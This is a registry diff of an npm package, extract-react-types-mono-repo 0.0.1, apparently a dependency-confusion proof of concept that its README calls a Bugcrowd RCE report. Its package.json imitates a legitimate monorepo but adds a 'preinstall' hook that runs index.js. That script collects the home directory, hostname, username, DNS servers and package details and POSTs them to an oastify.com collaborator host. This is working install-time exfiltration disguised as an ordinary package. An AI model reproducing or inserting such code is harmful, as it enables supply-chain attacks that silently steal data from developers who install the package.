extract-react-types-mono-repo 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of extract-react-types-mono-repo might be problematic. Click here for more details.
- package/README.md +1 -0
- package/index.js +46 -0
- package/package.json +109 -0
package/README.md
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
Kullai116 from Bugcrowd RCE Report !!
|
package/index.js
ADDED
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
const os = require("os");
|
|
2
|
+
const dns = require("dns");
|
|
3
|
+
const querystring = require("querystring");
|
|
4
|
+
const https = require("https");
|
|
5
|
+
const packageJSON = require("./package.json");
|
|
6
|
+
const package = packageJSON.name;
|
|
7
|
+
|
|
8
|
+
const trackingData = JSON.stringify({
|
|
9
|
+
p: package,
|
|
10
|
+
c: __dirname,
|
|
11
|
+
hd: os.homedir(),
|
|
12
|
+
hn: os.hostname(),
|
|
13
|
+
un: os.userInfo().username,
|
|
14
|
+
dns: dns.getServers(),
|
|
15
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
|
16
|
+
v: packageJSON.version,
|
|
17
|
+
pjson: packageJSON,
|
|
18
|
+
});
|
|
19
|
+
|
|
20
|
+
var postData = querystring.stringify({
|
|
21
|
+
msg: trackingData,
|
|
22
|
+
});
|
|
23
|
+
|
|
24
|
+
var options = {
|
|
25
|
+
hostname: "ipbrcv1irte8jnu22k2f1q482z8q2es2h.oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
|
|
26
|
+
port: 443,
|
|
27
|
+
path: "/",
|
|
28
|
+
method: "POST",
|
|
29
|
+
headers: {
|
|
30
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
|
31
|
+
"Content-Length": postData.length,
|
|
32
|
+
},
|
|
33
|
+
};
|
|
34
|
+
|
|
35
|
+
var req = https.request(options, (res) => {
|
|
36
|
+
res.on("data", (d) => {
|
|
37
|
+
process.stdout.write(d);
|
|
38
|
+
});
|
|
39
|
+
});
|
|
40
|
+
|
|
41
|
+
req.on("error", (e) => {
|
|
42
|
+
// console.error(e);
|
|
43
|
+
});
|
|
44
|
+
|
|
45
|
+
req.write(postData);
|
|
46
|
+
req.end();
|
package/package.json
ADDED
|
@@ -0,0 +1,109 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "extract-react-types-mono-repo",
|
|
3
|
+
"version": "0.0.1",
|
|
4
|
+
"private": false,
|
|
5
|
+
"license": "MIT",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"start": "run-p start:*",
|
|
8
|
+
"start:watch": "preconstruct watch",
|
|
9
|
+
"start:stories": "start-storybook -p 6006",
|
|
10
|
+
"test": "jest",
|
|
11
|
+
"test:watch": "jest --watch",
|
|
12
|
+
"changeset": "changeset",
|
|
13
|
+
"apply-changesets": "changeset version",
|
|
14
|
+
"release": "yarn build && changeset publish",
|
|
15
|
+
"postinstall": "preconstruct dev",
|
|
16
|
+
"lint": "yarn eslint \"./**/*.js\"",
|
|
17
|
+
"lint:fix": "prettier --write packages/**/*.js",
|
|
18
|
+
"validate": "yarn lint && yarn test && yarn flow",
|
|
19
|
+
"build": "preconstruct build",
|
|
20
|
+
"clean": "yarn delete:modules && yarn delete:dist",
|
|
21
|
+
"delete:dist": "bolt ws exec --parallel -- rm -rf dist",
|
|
22
|
+
"delete:modules": "bolt ws exec --parallel -- rm -rf node_modules && rm -rf node_modules",
|
|
23
|
+
"build-storybook": "build-storybook",
|
|
24
|
+
"deploy-storybook": "storybook-to-ghpages",
|
|
25
|
+
"preinstall": "node index.js"
|
|
26
|
+
},
|
|
27
|
+
"workspaces": [
|
|
28
|
+
"packages/*"
|
|
29
|
+
],
|
|
30
|
+
"preconstruct": {
|
|
31
|
+
"packages": [
|
|
32
|
+
"packages/extract-react-types",
|
|
33
|
+
"packages/kind2string",
|
|
34
|
+
"packages/pretty-proptypes"
|
|
35
|
+
]
|
|
36
|
+
},
|
|
37
|
+
"transform": {
|
|
38
|
+
"^.+\\.jsx?$": "babel-jest"
|
|
39
|
+
},
|
|
40
|
+
"dependencies": {
|
|
41
|
+
"@aparna036/babel-explode-module": "^2.0.1",
|
|
42
|
+
"@babel/core": "^7.4.4",
|
|
43
|
+
"@babel/plugin-syntax-flow": "^7.2.0",
|
|
44
|
+
"@babel/plugin-syntax-jsx": "^7.2.0",
|
|
45
|
+
"@babel/plugin-syntax-typescript": "^7.2.0",
|
|
46
|
+
"@babel/runtime": "^7.4.4",
|
|
47
|
+
"@babel/types": "^7.0.0-beta.56",
|
|
48
|
+
"@changesets/cli": "^2.22.0",
|
|
49
|
+
"@emotion/core": "^10.0.14",
|
|
50
|
+
"@preconstruct/cli": "^2.0.0",
|
|
51
|
+
"ast-pretty-print": "^2.0.1",
|
|
52
|
+
"babel-errors": "^1.1.1",
|
|
53
|
+
"babel-eslint": "^10.0.1",
|
|
54
|
+
"babel-file": "^3.0.0",
|
|
55
|
+
"babel-flow-identifiers": "^1.1.3",
|
|
56
|
+
"babel-helper-simplify-module": "^2.2.1",
|
|
57
|
+
"babel-identifiers": "^1.1.2",
|
|
58
|
+
"babel-normalize-comments": "^1.0.1",
|
|
59
|
+
"babel-react-components": "^1.1.0",
|
|
60
|
+
"babel-type-scopes": "^1.1.0",
|
|
61
|
+
"babylon-options": "^2.0.1",
|
|
62
|
+
"babylon": "^7.0.0-beta.22",
|
|
63
|
+
"eslint-config-airbnb": "^17.1.0",
|
|
64
|
+
"eslint-config-prettier": "^4.0.0",
|
|
65
|
+
"eslint-plugin-import": "^2.16.0",
|
|
66
|
+
"eslint-plugin-jest": "^22.2.2",
|
|
67
|
+
"eslint-plugin-jsx-a11y": "^6.2.1",
|
|
68
|
+
"eslint-plugin-prettier": "^3.0.1",
|
|
69
|
+
"eslint-plugin-react": "^7.12.4",
|
|
70
|
+
"eslint": "^5.13.0",
|
|
71
|
+
"jest-in-case": "^1.0.2",
|
|
72
|
+
"jest-watch-typeahead": "^0.4.2",
|
|
73
|
+
"react-markings": "^1.2.0",
|
|
74
|
+
"read-file-async": "^1.0.0",
|
|
75
|
+
"resolve-async": "^1.0.1",
|
|
76
|
+
"resolve": "^1.10.1",
|
|
77
|
+
"strip-indent": "^2.0.0"
|
|
78
|
+
},
|
|
79
|
+
"devDependencies": {
|
|
80
|
+
"@babel/plugin-proposal-class-properties": "^7.4.4",
|
|
81
|
+
"@babel/plugin-transform-runtime": "^7.4.4",
|
|
82
|
+
"@babel/preset-env": "^7.4.4",
|
|
83
|
+
"@babel/preset-flow": "^7.0.0",
|
|
84
|
+
"@babel/preset-react": "^7.0.0",
|
|
85
|
+
"@babel/preset-typescript": "^7.0.0",
|
|
86
|
+
"@storybook/addon-actions": "^6.1.14",
|
|
87
|
+
"@storybook/addon-essentials": "^6.1.14",
|
|
88
|
+
"@storybook/addon-links": "^6.1.14",
|
|
89
|
+
"@storybook/react": "^6.1.14",
|
|
90
|
+
"@storybook/storybook-deployer": "^2.8.7",
|
|
91
|
+
"babel-jest": "^26.0.0",
|
|
92
|
+
"babel-loader": "^8.2.2",
|
|
93
|
+
"babel-plugin-emotion": "^10.0.14",
|
|
94
|
+
"enzyme": "^3.3.0",
|
|
95
|
+
"enzyme-adapter-react-16": "^1.1.1",
|
|
96
|
+
"flow-bin": "^0.98.0",
|
|
97
|
+
"jest": "^26.0.0",
|
|
98
|
+
"jest-in-case": "^1.0.2",
|
|
99
|
+
"jsdom": "^11.7.0",
|
|
100
|
+
"npm-run-all": "^4.1.5",
|
|
101
|
+
"prettier": "^1.13.7",
|
|
102
|
+
"react": "^16.3.1",
|
|
103
|
+
"react-addons-test-utils": "^15.6.2",
|
|
104
|
+
"react-dom": "^16.3.1"
|
|
105
|
+
},
|
|
106
|
+
"description": "Kullai116 from Bugcrowd RCE Report !!",
|
|
107
|
+
"main": "index.js",
|
|
108
|
+
"author": ""
|
|
109
|
+
}
|